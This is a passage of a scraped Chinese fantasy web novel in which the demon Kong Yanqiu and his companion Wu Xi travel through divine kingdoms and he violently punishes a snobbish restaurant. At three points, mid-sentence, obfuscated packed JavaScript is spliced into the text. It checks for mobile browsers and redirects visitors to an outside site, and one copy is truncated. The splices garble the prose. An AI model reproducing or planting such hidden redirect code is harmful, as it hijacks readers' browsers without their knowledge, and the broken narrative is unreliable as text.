最后巫曦在他胸口留了一圈水灵灵的牙印非常得意耀武扬威地爬起来拍拍屁股就想走人。 “咬完了就想跑?”孔宴秋一把捏住他的腰张口咬在神人的软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369677|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸蛋上嘬出一个醒目红印给巫曦嘬得哇哇大叫。 高兴归高兴孔宴秋平日里还是很忙的。 业摩宫的鸟雀始终在寻找毒龙的老巢 但总体来说有巫曦控制着他他的生活已经比过去顺心惬意了百倍不止。 一日看守金曜宫动向的斥候再度回禀巫曦忍不住问:“你这样盯着万一他们永远不出来你要怎么办呢?” “不会的”孔宴秋笃定地道“大荒神佛退隐已经不知多久没有出过新任的孔雀明王了。只是他们还不死心每到新一波的雏鸟初成便会打开金曜宫的大门带领他们去玉京天阙参加试炼。算一算时间是该到了他们不可能一直龟缩。” “试炼?” “是的我多番询问都没能问出试炼的内容不过想也知道考验心境磨练实力测试神光……”孔宴秋面上露出冷笑“我倒要看看金曜宫出来的小废物们究竟有多大的能耐。” 巫曦叹了口气揪一下他的耳朵。 “你啊”他说“你要杀了他们吗?” 孔宴秋仔细思索一下他的问题喃喃道:“我只想让他们也尝尝我遭受过的痛苦滋味。我一刻不停地质问金曜宫那些老不死的孔雀质问我的父母我想知道他们为什么对我如此绝情……” 他笑了一下:“我一次又一次地打上金曜宫我逼问他们为什么抛弃我为什么想要我死……我问了那么多遍他们始终沉默唯独有一次破天荒的一只年长的蓝孔雀给了我回应。” 巫曦忍不住问:“他说什么?” “他说‘回去吧孽障!’”孔宴秋冷笑道“五个字。就这五个字好像我迄今为止所做的一切都是无理取闹。我一下心神大乱怒不可遏差点气疯了疯得都不像我自己——我差点就堕入了魔道。” “有那么一刻我甚至发誓我会用尽世上最残酷的手段我要达成连魔罗都望尘莫及的成就金曜宫的孔雀是如何屠戮毒龙我就要如何屠戮金曜宫的孔雀——” 他深深呼吸疲惫地闭上眼睛。 “最后我忍住了 。”他喃喃道,“我不畏惧为魔之路,我五感混沌时的所作所为,又与魔头何异?我只是强撑着一口气……我不愿让那些老不死的言语对我产生如此之大的影响,他们算什么东西,也配让我为他们入魔?” 巫曦怜惜地问:“那现在呢?” 孔宴秋的嘴唇微动。 “现在,我的执念已经不那么深了,”他说,“过去那些不甘愤懑的影子,似乎都在我的脑海中淡化……有时候,我居然会想,倘若金曜宫不来招惹我,我就将他们视作空气,又有何妨?” 他微微一笑。 “真是没出息啊,是吧?可是我知道,现在这样的日子,对我来说已经太珍贵……” 余下的意思,他没有说出口。 这样的生活,正是巫曦带给他的,相比起非实体的“生活”,真正珍贵的是巫曦才对。 巫曦趴在他怀里,若有所思地盯着他,忽然说:“我们去游历吧!” 孔宴秋没反应过来:“……游历?” “反正业摩宫的生活已经稳定下来了,”巫曦说,“大荒还有这么多好玩的地方,有那么多人过着形形色色的人生……我带你去体验一下,怎么样?” 孔宴秋被他逗笑了:“去体验别人的人生?” “是啊!”巫曦理直气壮地说,“游历的意义不就在于此吗?” 孔宴秋看着他,轻声说:“好啊,那我们就去游历。” 巫曦高举双手:“好耶!” 作者有话要说 【强调一次,本文是绝对的人外1,本人是坚定的人外1捍卫者……!大家不要被有毒的男子气概影响,1也可以哭哭,可以撒娇,可以用铁一般的双开门臂膀去蹭相方的胳膊……!(然后无意间将相方压倒在地)(压成一张扁扁的小饼) 作者背着小包,暂时离家出走去看法扎,本章由存稿箱按时发出,叮咚!】 第 59 章 净琉璃之国(二十七) 第59章净琉璃之国(二十七) 见他同意,巫曦更是兴致勃勃,掰着手指头道:“这样,我们隐姓埋名,偷偷地走,去神人诸国游历,反正玉京天阙不开,在这儿干等着也不是个事,毒龙更不知道我们的位置,不如趁这个机会好好地玩一玩…… 孔宴秋对游历不甚感兴趣,反正只要能和巫曦在一起,去哪里都是好的。 他问:“你想去哪玩? “去其他神人的国家!巫曦的眼睛闪闪发亮,“我早就想去西陵国看看衣服了!还有我的匕首,乃是厌火国的匠人打制,我一直想去那儿见识一番。青丘国是不是真的有好多狐狸?招摇国盛产的祝余,我只在十岁生辰那年吃过一次,真想再尝尝味道啊! 见他这么兴奋,孔宴秋不禁微笑。 “你喜欢,那我们就去,他道,“索性就像你说的,玉京天阙没有开启,毒龙的动向亦是不明,放松一下,也没什么不可以。 既然如此,说动身就动身。孔宴秋安排好看管业摩宫的人手,相较于以往动不动烧死人的残酷,如今他的脾气愈发稳定,下属的生存几率大幅度提高,权斗争宠就成了家常便饭。只是他们争孔宴秋的宠,孔宴秋却还要确保自己独占巫曦的宠,哪有闲工夫理会他们的小心思? 是以不管底下的大妖如何尔虞我诈,勾心斗角,他一概置之不理,只管稳坐钓鱼台,缠着巫曦罢了。 “这是两颗灵玑玉,孔宴秋掏出两颗精光四射,光明洁白的珠子,给巫曦戴在脖子上,“据说是神女瑶姬的爱物,能掩饰形体,常清灵智,容颜不老。戴上之后,就不用担心被人看出真实的样貌。你拿着玩。 如今神祇不存,就是把全天下的奇珍异宝都汇聚在一起,也未必能找出比这一对灵玑玉还要珍贵的物件来,孔宴秋却送得毫无压力,巫曦更是收的毫无压力。毕竟业摩宫这样的地方,是真正的金为烂铁,珠玉作土,巫曦被孔宴秋泡在锦绣丛里,就差娇养到天上去了。 前些日子,巫曦说要打弹子玩儿,孔宴秋便一声唿哨,凡间的梁燕衔泥,此地的万千群鸟,衔来的则是颗颗饱满圆润,晶莹剔透的龙宫明珠,顷刻间堆得如山如海,哪怕让人躺在里头游泳都不妨事。 故而在送礼的和收礼的眼里,昔年神祇的爱物,恐怕也不过是更大一点的珠子而已。 一人一鸟收拾停当,孔宴秋掩去半人半鸟的异相,化作一名俊美昳丽的人类青年,巫曦同样盖掉了额头上的红痣 变成个笑嘻嘻的面相十分讨喜的小后生。 “出发!”巫曦欢快地吆喝起来“向着明天出发!” 七日后两个一高一矮的人影站在西陵国的都城下面矮的那个把手放在额头上抬头向上眺望:“哇好壮观啊——” 西陵国以务桑缫丝为生他们居住的“城市”也不是平面的土地而是一棵棵巍峨如山的参天巨木枝干直冲云霄。在巨桑的树枝上西陵国的神人重塑了蔓藤枝叶的形态使它们变成各种建筑、器具的模样以此便利生活。 “住在这种地方要是着火了可了不得。”高个子说他神情冷漠语气中却能听出一丝切实存在的恶意。 “才不会呢!”矮个子挥舞双手认真地跟他解释“西陵国的神人与玉蚕伴生玉蚕能喷吐冰丝对灭火有奇效一旦走水有玉蚕在也不用怕!” 他语气坦率神态天然纵然和同伴小小地争论起“着火怎么办”的失礼话题过往的行人客商还是觉得很有趣纷纷咧着嘴 “哦……”高个子又意味深长地点头“也就是说什么火都能灭了?” 矮个子警惕地睨着他突然跳起来揪着他的耳朵:“你又想使坏是不是?我就知道这一路上你憋着劲儿就是想捣乱……” 高个子也不恼只是低低笑着一把将矮个子抱在自己手上坐着。他不费吹灰之力便能单手承起一个大活人的分量可见膂力强劲气力更是远超常人。 矮个子生气地扭了几下便安心地窝在他手上。两人一边叽叽咕咕地咬耳朵讲小话一边旁若无人地上沿着巨桑的阶梯而上。 神人诸国民风开放大家都很讲求露水姻缘一夜深情天亮了就拍拍屁股走人的传统是以见了这一大一小状似兄弟的两个人也不觉得有异。 不过他们到底是兄弟还是契兄弟呢……? 走路太慢两人雇了一辆西陵国的特色蛾车一路直飞到都城最繁华的商业区。 孔宴秋嘀咕道:“我就能飞还用得着这个蛾子带着……” “你现在是人不是孔雀”巫曦小声提醒“注意点形象不要装不像了暴露身份。” 但就连孔宴秋也不得不承认沿路的风景的确新奇。藤萝绕作庭院枝蔓长成屋檐一应青翠郁葱的建筑都在飘渺如烟的云雾还有翻卷的小雪中若隐若现。 巨桑长成万年早已不惧大荒风雪的严寒反而以自身的灵气构筑了能够抵御酷寒的结界 ,使西陵国的神人得以安然自在地生活。 “按照记载,大约两千年前,西陵国也大规模地迁徙过一次。”孔宴秋说,“迁往长留。” “真的假的,为什么啊?” “毒龙肆虐,”孔宴秋说,“为了弥补被孔雀吃掉的龙子龙孙,俱时德叉伽发了疯地掠夺神人人口,还有其他更加弱小的妖兽。那时候,强力的神兽妖魔早已隐世不出,倒叫繁衍速度惊人的毒龙一家独大,也只有金曜宫的孔雀肯为了口腹之欲遏制它们。” 巫曦点了点头,却没有说话。 时至今日,后人对大荒神佛的消逝和陨落都有诸多猜测,其中流传最广的一种,就是灵气消散论。大荒再怎么无垠无际,也不过是脆弱的鸡蛋壳,无法供养云集的众神。因此那些山的神,水的神,花的神,以及四季的神,日月的神……都在大道的裁决中,承受了绝端不幸的命运。 倘若真相如此,那金曜宫的孔雀还肯出来打击毒龙,而不是如其他神兽一般隐退,或许……他们也没有孔宴秋说的那么不堪? 不过,这个念头也只是在巫曦心里过了一圈,他没有说出口。 他们已经抵达了这棵巨桑上的成衣区,家家户户的门前都挂起各色的丝帛,让它们迎风飘摇,就像许多双柔滑绚丽的手,招揽着过往的旅人商客。 “来!”巫曦高兴地牵起他,带着他走进最大的一家成衣商铺。这里的建筑都是用坚如铁石的桑树巨叶搭建成的,墙壁,屋檐和地面一应是深深浅浅的绿色,墨绿、缥碧、螺青……再搭配店里白如雪,紫如霞,橙如金的样衣,真是说不出的赏心悦目,眼睛也像被清水洗过了。 店主腰间围着软尺,头上还戴着顶毛茸茸的玉蚕帽子,笑呵呵地望着他们。 “稀奇,稀奇!”她快活地说,“敝店甚少接待散客,二位若是不嫌,还请随意看看吧!” 巫曦跳到她面前,眼睛亮晶晶的,极其渴望地道:“我想要你的帽子!” 店主惊讶地瞧着他,仿佛瞧着一只活泼的小动物。 孔宴秋慢吞吞地在账台上排出一叠精粹灵玉。 “他想要你的帽子。” 巫曦一把抓过他:“他也想要这样的帽子!” 孔宴秋:“呃,我就用不着……” 巫曦兴高采烈地道:“请给我们都做一顶玉蚕帽子!” 最后,巫曦在店里定了八套不同款式的成衣,四套给自己,四套给孔宴秋,然后各戴着一顶毛茸茸,圆乎乎的玉蚕帽,满心欢喜地走出了成衣店。 是夜,他们住在西陵的旅店里,每一个房间,都是悬挂在枝干上的巨大蚕茧。西陵的神人破开这些厚厚的茧壁,再在上面安好门窗,摆放家具,空置的茧就变成了别致的客房。他们睡的床铺,也是滑滑的蚕丝的窝,像一个小型鸟巢,容纳着天南海北的客人。 夜里,孔宴秋睁着眼睛,怀中睡着沉沉呼噜的巫曦,他听见四边沙沙的响动——那是玉蚕咀嚼桑叶的声音,犹如无边无际的温柔海潮,从四面八方遥遥地翻卷过来。 他笑了一下,也慢慢地沉入了平静梦乡。 一周后,带着满载的行囊,他们挥别了西陵国,下一个游历的目标就是…… “招摇国!巫曦振奋地说,“我们去招摇国,吃祝米饭! 招摇国的地理条件得天独厚,生长着不尽的祝余。祝余能开青色的花,结出的米称之为祝米,人吃了祝余花,就能一天都不感到饥饿,吃了祝米做的饭,便可以劳作一周也不用进餐。 得益于此,招摇国的国民富裕非常。利用祝余,他们发展出纵横神人诸国的粮道,将祝米作为珍贵的贸易物资,从别国那里换取精美的衣饰,锋利的刀剑,以及最好的工匠。 因为仓廪富足,人人皆不必为饭食忧愁,招摇国的神人身上,都有一股养尊处优的悠闲气质。他们修建起精宅美舍,立在大街小巷高谈阔论,随意出入繁华的商街食肆——这种懒洋洋的享乐氛围,是巫曦在长留也不曾见过的。 “哇……巫曦站在热闹的街道上,眼睛睁得圆圆的,来回张望那些斑斓夺目的商铺小摊,时不时还有华丽的车队仪仗经过。他正惊叹间,六头奇异的驮兽齐步小跑,玉勒金鞍,遍体软翠,拉着身后煌煌奢华的轿撵,带起一阵香风,叮叮当当、趾高气昂地从大路中央碾过去了。 “真是了不起,这么有钱啊…… 孔宴秋站在一旁,嘴角抽搐。 都是什么破玩意儿,这叫有钱? “有钱?他难以置信地问,“你要是喜欢,改明儿我从业摩宫拉一百辆这样的车驾给你,辆辆不重样。他这个就叫有钱了? 巫曦没好气地瞪他:“以前在长留,我还用不上这样的仪仗呢,他们的待遇可比我这个王子好多啦。 说着,他起了兴致,拉起孔宴秋的手:“走,我肚子饿了,我们去吃祝米饭去! 拉着孔雀的手,巫曦在招摇国的街上快活地蹦蹦跳跳,他一脸灿烂阳光的笑容,身后又拽着一个姿容俊丽,顶着抹布都能光彩照人横扫一条街的青年,自然吸引了不 少行客的眼光。长街的车驾往来如云,车帘却频频掀起,就为了看这一大一小的两个人。 “那儿有座好高的酒楼啊!巫曦放眼一望,兴致勃勃地指着远处一座金碧辉煌的高楼,他举起鼻子一嗅,便知道那里是时鲜肴馔的所在,享用美食的好去处,“我们到那里吃饭,好不好? 他说的话哪里有不好的,孔宴秋便随他拉着,带到哪是哪。 他们一路穿过喧闹的商街,巫曦一路走,一路看,一路买。走过冰饮店,他提着两碗冰雪冷元子,雪泡梅花酒;走过糖店,他拎着两盒石蜜糖,千层银丝卷;走过面人摊,摊主捏两个活灵活现,一高一矮的小面人;走过大货摊,他抱下最大的玻璃花灯,最漂亮的染色拨浪鼓;走过小银楼,他便给孔宴秋挂了一身琳琅作响,碧翠剔透的祝余花首饰,自己也笑哈哈,噼里啪啦地挂了一身…… 他在前头笑,孔宴秋在后头给他无怨无悔地花钱。小摊小铺用不到灵石结账,他都是两指捻着,将金子揉成大小随意的金珠,掷给后头的店主。 巫曦买了一路,他也撒了一路,市井消息又像长腿一样穿得飞快,不多时,无数商贩蜂拥而至,团团围在他们身后。等这一人一鸟挤出重围,便如两棵在节假日张灯结彩的装饰树,浑身上下坠满了叮铃当啷的小玩意儿。 瞧见孔宴秋的脸都被遮住,只能透过脖子上挂着的花环和面具的缝隙,朝自己无奈地张望,巫曦快笑得喘不过气来了。 “高兴了?孔宴秋摇摇头,把东西都用芥子术塞起来,总算恢复到一身轻松的状态,“看你,脸都蹭花了。 他给巫曦揩掉脸上沾染的油彩,总算抵达了此行的目的地。 雕梁画栋,彩灯高悬,门匾拿金粉描着气派的“汇春楼三个大字。白日明晃晃地照着街市,汇春楼前车水马龙,人声鼎沸,饭香酒香一浪一浪地涌出来,实在热闹至极。 眼见巫曦高兴地走进去,而门前的小厮都在忙着招呼别的富贵客人,竟全然无视,像没看见他俩似的。 孔宴秋的眼神淡淡地扫过去,手指有点发痒。 吃饭嘛,巫曦不在乎这点小小的瑕疵。没人招呼他,他便径直走到柜台处,脆生生地道:“掌柜的,我们来吃饭! 为了防贼,那柜台打得又高又宽,孔宴秋尚且可以露出肩膀,巫曦就要踮着脚尖才能扒上去了。 柜台后面的人吓了一跳,伸长脖子一看,巫曦将掉在袖袋里的明珠弹子摸出一颗,放在柜台上,滴溜溜地转着。 “请给我们最好 的包间,可以吗?谢谢啦!” 明珠浑圆硕大,精光四溅,显然不是凡品,即便去到王宫里,也担得起一句贵重了,然而,这便是巫曦不通世情,天真淳朴之处。 他不晓得这里头的弯弯绕绕,眼下正值晌午,许多本国的达官显贵,外来的领事使臣,乃至招摇国内供奉的修者方士都要在这里用餐,招待那些大佛尚且来不及,怎么顾得上两个外地来的散客? 是以尽管汇春楼的菜式精妙,佳肴味美,本地人依然不会选择在这时走进汇春楼。运气好,只是碰得一鼻子灰,运气不好,得罪了某个贵人,那就大大的不妙了。 然而掌柜贪恋明珠贵重,连忙“哎哟”了一声,张手把乱转的珠子捉到掌心,陪笑道: “小客人有所不知,这时候,楼上的好包间全被客人订满了,我给您在大堂找个最清雅干净的所在,您暂且坐着休息,尝一尝我们这儿名产的玉梨茶,怎么样?” 今日来了重要的大客人,等招待完他们,再招呼这两个外来的阔绰散客,岂不是两全其美? 孔宴秋就站在巫曦身后,一言不发,冷眼看着。 “嗯……那好吧!”有饭吃就好,巫曦也不在乎坐哪儿,闻言,掌柜的笑开了花,立刻叫了一个点菜的伙计过来,命人将他们带到座位上。伙计口齿伶俐,当下也不含糊,嘟噜噜地报了一大串菜名出来。 孔宴秋自小在大荒生活,不晓得人族的讲究和把戏,巫曦却是门清的。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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再过了大半个时辰,伙计叫菜名的声音不绝于耳,行菜出餐的盘盏更是如同流水一样,就是不见他们这里的动静。巫曦挠挠脸颊,叹了口气。 他又拉了两次铃铛,结果还是一样的,这使他不得不承认自己的误判。 “我们吃不到饭了,是不是?” “不妨,”孔宴秋拿出先前买的糖水给他吃,竟然一反常态,微微地笑了起来,“我们再等等。” 巫曦咬着勺子,顿觉大事不好:“你别……” 孔宴秋伸手,继续拉下铃铛。 “欸,来嘞!”还是方才的伙计,笑容满面,无动于衷地立在跟前,“您有什么吩咐?” 孔宴秋问:“我们的菜还有多久?” “您再等等,劳您久候,实在是不好意思,小店客多人杂……” “说个时间,”孔宴秋似笑非笑地道,“还有多久?” 伙计卡了一下。 他的眼神在面前的两个人身上转了半晌,酒楼的伙计无不是阅人无数,目光老辣之徒。显而易见,巫曦眼神透亮,显得天然可欺,一派富贵闲人的作风,而他旁边的青年…… 毋庸置疑,他的年纪算不得老成,可那种通身的气派,阴郁华艳,倒比他见过的王公贵族还要惹眼。伙计有点摸不清他的来路,只得堆笑道:“大约……大约两刻钟!您二位再等两刻钟。” “好,”孔宴秋笑道,“你去吧。” “……你别生气,”巫曦悄悄地说,“他们不招待我们,我们去别的地方吃饭就好啦,犯不着跟他们见识。” 孔宴秋望着他,忽然叹了口气。 他摸着他鬓边垂下的一绺乌发,问道:“你不生气?” “不哇,”巫曦莫名道,“这也没什么好气的,因为我看见的,经历的类似的事,实在是太多太多。我不能说拜高踩低是许多人的天性,但也是他们已经融入日常生活的行为准则,我要是为他们生气,那我一天什么都不用干,光生气都 来不及,哪有时间去做别的事呢?” 孔宴秋摇了摇头,哑然失笑。 “也罢,你不生气,我替你气就是了。” 两刻钟过去,后厨一声吆喝,在上下三层楼的轰动喝彩声中,四个行菜人抬着一面巨大的餐盘走出来,上面横卧一只烤得表皮金黄焦脆,口里塞着吉果,尾巴系着红带的乳猪。 诱人的肉香隔着老远都能闻见,行菜人拖长了声音,菜名从大厅一路报到了六楼的顶层。 “玉齑金猪一只——” 而角落里,他们的桌子仍旧是空荡荡,连根猪毛都见不着。 孔宴秋拉响铃铛。 那名伙计出现在桌子前,浓浓的笑容下,藏着一点难以察觉的不耐烦:“您又有什么……” 孔宴秋没有动。 凭空轰然一声巨响!仿佛暴烈的雷霆,瞬间砸过欢声笑语,热闹非凡的大厅,下一秒,伙计摧枯拉朽地撞翻了那堆捧猪的队伍,尖啸的风压将大堂的地板犁出一道深深的沟壑,同时像吹雪一般,纷纷掀翻了两旁的桌椅板凳,杯盘碗筷,以及更多穿着富丽的宾客。 巨大的震响摇撼了整座汇春楼,犹如平地里炸了个霹雳,冲击力从一楼推到最顶层的六楼。六楼用餐的护持修士见状不妙,拍案而起:“何方宵小,敢在此……!” 孔宴秋仍然没有动。 一道神光自顶楼笼罩而下,犹如一双无形的巨手,霎时封死了每一层楼的窗户、天梯,同时封住了一楼的大门,转眼间,楼里的人便从纵情享乐的贵客,沦为了进出不得的囚犯。 数名修士如遭重击,口鼻俱淌出深红的血浆,一声不吭地软倒在地。 先前那盘隆重豪华的“玉齑金猪”,此刻已经成了砸烂在地上的一摊肉,和碎盘子,碎木头混在一起,分不清哪是头,哪是尾。先前那个挂笑敷衍的伙计,就和那些烂摊子混在一起,不知是死是活。 满楼死一般的寂静,没人敢发出一丝声气,甚至是那些刚从地上爬起来,摔得鼻青脸肿的客人。 孔宴秋伸手,拉响铃铛。 铃音清清,厨房里,牙板脆脆的一声拍响。 “点菜。”他不紧不慢地道。 不出三秒,缩在柜台后面的掌柜便连滚带爬地翻了出来,跑得比一颗被踢的球还快。 “大人!大人!”他脸上、身上的每一条褶子都浸满了汗,“您有事吩咐,尽管吩咐!” 孔宴秋没有看他,掌柜原本就惨白的脸色,突然变得更加惊惶。 ——皮肉绽开的淋漓声响中,他掌中一直攥着的那颗明珠,已然深深地嵌入手心,痛得使他深深弯下了腰。 “好拿吗?他给你的珠子。”孔宴秋问,“可是烫着手了?” 作者有话要说 【大家七夕快乐!今天过节,给大家两章合并,双更啦^^ 评论区发100个小红包!】 巫曦:*向全世界的人宣布*孔宴秋是最好的孔雀,我相信他,他可能只是喜欢恶作剧,但绝对没有害人的心思! 孔宴秋:*正在藏起尸体,听见这话,露出紧张的傻笑*……是啊!你们听到了吗?他说的都是对的。 巫曦:*感动地拥抱他的孔雀* 孔宴秋:*感动地拥抱他的人类* 尸体:*沉默,因为谁也不知道它们的情绪,所以算作感动的沉默* 第 60 章 净琉璃之国(二十八) 第60章净琉璃之国(二十八) 掌柜的蜷在地下,不敢说半个字,孔宴秋又道:“你在楼上都招呼了什么客人?叫他们也别闲着,下来端菜倒茶。” 掌柜大汗淋漓,只得断断续续道:“那都是……都是本国的王公贵胄,还有,外国的……” “勉强配得上仆从的身份。”孔宴秋道,“哦,你们的军队来了。此刻就在外面排兵布阵,是要准备保家卫国,驱逐外敌了?” 他目光一侧,灵玑玉没能掩盖住一瞬的杀意,使他的眼瞳迸出一线暗金色的清光。 “只要我不点头,你们这座酒楼,还有楼里的人,就只能永远封在这里,没有任何手段可以救你们出去。它会封死一百年,两百年,一千年,两千年……神人的微薄力量,不足以对我造成丝毫威胁。” 他盯着巫曦面前的杯子,那里面空空的,已经不剩任何茶水。 “再不滚下来,我不光会烧死你们,还要烧光你们的祝余田。”他笑着道,“从今往后,招摇祝余就不复存在了,我倒要看看,你们还能悠闲多久。” 听到他的话,顶楼几桌的“贵客”终于慌慌张张,踉踉跄跄地拖着步子下来,浑身发抖,在一旁笨手笨脚地侍候。 掌柜欲哭无泪,但他还能看出,这一对当中是由谁做主。 他对巫曦哀哀恳求:“小公子,千错万错,是我们狗眼看人低的错,您高抬贵手,发发慈悲……” 巫曦之前一直没有吭气,他知道,孔宴秋不散去胸口那股横贯的戾气,他是不会善罢甘休的,这会儿,他才适时地开口:“算啦,带着害怕的情绪做出来的饭菜,一定会失去美味的本意,饶过他们,好不好?” 孔宴秋反过来安慰道:“没关系,我会放过厨师的。” “重点不是这个好不啦!” “倒茶。”孔宴秋伸出一根长指,轻点桌面,“一个时辰前他点的菜,给我样样不落地端上来。” 于是,旁边一位穿紫金礼袍的中年男子战战兢兢地伸手,不甚熟练地给巫曦满上茶水。厨房开得炊烟冲天,厨师和伙计脚下都要擦出火星子了,不消少顷,两盘盐炙白虾,一盘椒麻葱醋鸡,便交在王公们的手上,颤巍巍地端上了桌。 白虾香咸酥脆,葱醋鸡亦是酸辣开胃,孔宴秋一面给巫曦剥虾,一面道:“你啊,实在太好性了。” 巫曦“啊呜”一口,咬在他捏着虾肉的手指头上。 “就是欺负我最拿手,是不 是?孔宴秋问。 虾肉,巫曦嚼嚼嚼:“嗯嗯,那我以后不欺负你啦。 孔宴秋:“…… 孔宴秋被他噎了一下,只能又爱又恨地念叨两句小混蛋,小坏蛋。 “你有退避忍让之心,他们却未必能领会你的好意。黑孔雀冷笑道,将虾肉堆在一块,推到巫曦面前,“世人总是浑噩愚钝,五毒俱全。你瞧,你愿意体谅他们的苦处,他们却愈发蹬鼻子上脸,不晓得自己姓甚名甚,以致要反过来压迫你。他们在你身上占了好处,还要怪你太柔软可欺呢。 后续的菜品也一一上齐,孔宴秋就这样旁若无人地点评,把在场的人批得一无是处。巫曦的嘴角沾着酥渣,困惑道:“但是,你叫我对他们发火,我也发不出来…… “不是让你发火,孔宴秋无奈道,“而是让你不要把它们当成玻璃上的水,滑过去就滑过去了。别人发现你不在意,却不会理会你为什么不在意,他们只知道,你是个好脾气的人,日后逮着就要从你身上吃肉的。有什么不满的地方,马上就说出来,难道你的话就那么没有分量,不受重视吗? 他擦去巫曦嘴角的油渍,认真地说:“下次,只要你开口,我就绝不会让你的话轻飘飘地落在地上。知道了? 巫曦想了想,点头。 抛开之前不愉快的小插曲,汇春楼的手艺的确十分出色。寂静中,一人一鸟吃完了面前的菜和饭,巫曦诚挚点评:“味道蛮不错的,就是氛围不好,下回不来了。 孔宴秋微微一笑,如入无人之境,带着他一步迈出酒楼。街道上早就围得铁桶一般,军队和护国的修者将整座酒楼包得水泄不通,孔宴秋权当没看见,泰然自若地飞上天空,扬长而去。 “你的神光什么时候解开? “那个啊,孔宴秋随口道,“小惩大诫,七日后就解开了。 乘着北风,他们离开如临大敌的招摇国。 在这之后,他们又造访了铸造工艺精湛的厌火国,国民样貌奇异的长臂国。青丘国的狐女生得美艳袅娜,弄得孔雀如临大敌,恨不得真身上阵,用尾翎的光彩压过她们。 春去秋来,星移斗转,直到站在雪山的顶峰,遥遥眺望药师国,巫曦不由沉默了。 “要去看看吗?孔宴秋问,“你和你的母亲……已经许多年不曾相见了吧。 “十六年,巫曦自嘲一笑,“不,准确来说,快十七年了。 “你恨她吗? 巫曦摇摇头。 “不能说恨说不上恨。”他平静地道“但怨还是怨的很小的时候我总是怨她为什么丢下我不带我走。” “你知道的小孩子总是口无遮拦我又不受父亲重视而王宫里的小孩子呢?既口无遮拦懂得事情又多这就很要命了。为了激怒我他们最常说的话就是‘巫曦殿下的娘不要他了没人疼没人爱’……” “所以我时常赌气地想既然她不要我那我也不要她!”巫曦笑了起来“不过长大以后我多少明白了一点人终归要为自己而活没有她我也平平安安地长大了那没有我她应该也不会有什么缺憾。所以……就这样吧!就这样吧。母子缘浅就当是天注定。” 孔宴秋摸了摸他的头发把他抱在怀里低声说:“是啊亲缘浅淡都是天注定。” “十七岁的生日我想回去过。”巫曦回抱着他脑袋埋在他胸前“出来这么久了我们也该回去了。” “好”孔宴秋说“十七岁的生辰你想怎么过?” 巫曦点着下巴思索道:“嗯……还是低调点吧。” “那我再给你做一碗长寿面?” “……这个就不必了!” 于是赶在巫曦十七岁之前他们回到了阔别一年的业摩宫。 “我们回来啦——” “大家好久不见啊!” “这个这个带了礼物给大家!” 巫曦欢呼着跑来跑去 他从行囊里掏出旅行时买的东西给鬿雀送了西陵国的大大蚕丝爪套送给酸与青丘国的特产肉干给鬼车送了配套的围脖还给凫徯送了漂亮的连环画小木雕甚至给蛊雕也送了会吱吱叫的大狸子玩偶…… 妖鸟们各自收到礼物也不管孔宴秋如何不爽纷纷上前道谢。孔宴秋冷眼瞅着抓住时机沉声问:“我们走这段时间有没有什么异常情况?” 说一句两句差不多得了还在这儿聊个没完…… 此话一出在场的凶禽登时沉默面面相觑。 孔宴秋眉梢一挑鸟群中立即被踢出一只蛊雕。 蛊雕在地上滚了两圈爬起来讪讪道:“回禀尊主您走这段时日宫中风平浪静就是……” “什么。” 蛊雕竟抬起眼睛先觑了一下巫曦的脸色。 “就是……西 方甘菩遮国送来几只迦陵频伽鸟,说久仰尊主威名,蛊雕硬着头皮,继续说道,“愿以此……以此展现交好的决心。 甘菩遮国的供奉向来包含孔雀明王,如今竟背离金曜宫,转而向业摩宫示好,自然是因为看重孔宴秋的潜力和凶名。 而迦陵频伽即为妙音鸟,据说是天底下最美丽的鸟儿——孔宴秋对此嗤之以鼻——成年的迦陵频伽乃是半人半鸟,淑丽的少年之相,不光能发出美妙无比的歌声,更拥有鲜妍不凡的容貌。 为什么赠送他们来彰显交好的决心,其目的显然是不言而喻的。 看见巫曦尚且懵懂,孔宴秋只是皱眉,下属们不禁在心里腹诽。 归根结底,还是黑孔雀的脾气变好了的缘故。先前他喜怒无常,暴虐不定,五蕴阴火动辄烧死一大片,是大荒上人人避之不及的凶神煞星,现在有了巫曦,就像得了全天下所有宝贝的总和,时时将他贴肉存放,便心满意足,什么都顾不得了。 他的脾气越发温和不说,巫曦来的这三年间,竟连一个活物都不曾烧死,消息传出去,别人只以为黑孔雀是色令智昏,哪里晓得他们两个之间的关系? “随便安置。孔宴秋的脸色不大好看,甘菩遮国的示好带着浓重的政治意味,他也不好就这么将那些妙音鸟逐出宫殿。 送些奇珍异宝,灵花灵草便罢了,送这几只破鸟过来,究竟是什么意思?想艳压我是吧? 刚回巢就遇到这种晦气事,黑孔雀心中分外不爽。他忍着不悦,尾翎将巫曦一卷,一阵风地摄进巢室了。 自此,美丽的迦陵频伽鸟正式入驻,很快,他们便成为业摩宫内一道靓丽多姿……并且十足搞笑的显眼包。 原因无他,这些迦陵频伽俱是带着政治任务前来,他们要像那个“籍籍无名的神人一样,取得黑孔雀的宠信,为甘菩遮的国主争取利益的。 所以,巫曦和孔宴秋下棋,这几只少年鸟就打着圈地捧上果盘葡萄酒,桃腮星眸,摇漾着一把天籁般的嗓子,莺声燕语地嬉笑。 “神经病吧你们,孔宴秋莫名其妙的,“烦不烦?滚! 不知道搁谁跟前展示那一身刺眼的鸟毛呢,赤橙蓝绿了不起?颜色多了不起? 少年们灰头土脸地滚了,巫曦倒是一语道破真相,笑哈哈地道:“这些漂亮的小鸟儿是看上你啦! 孔宴秋盯着他看了半天,将他面前的甜果酒收走。 “别喝了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 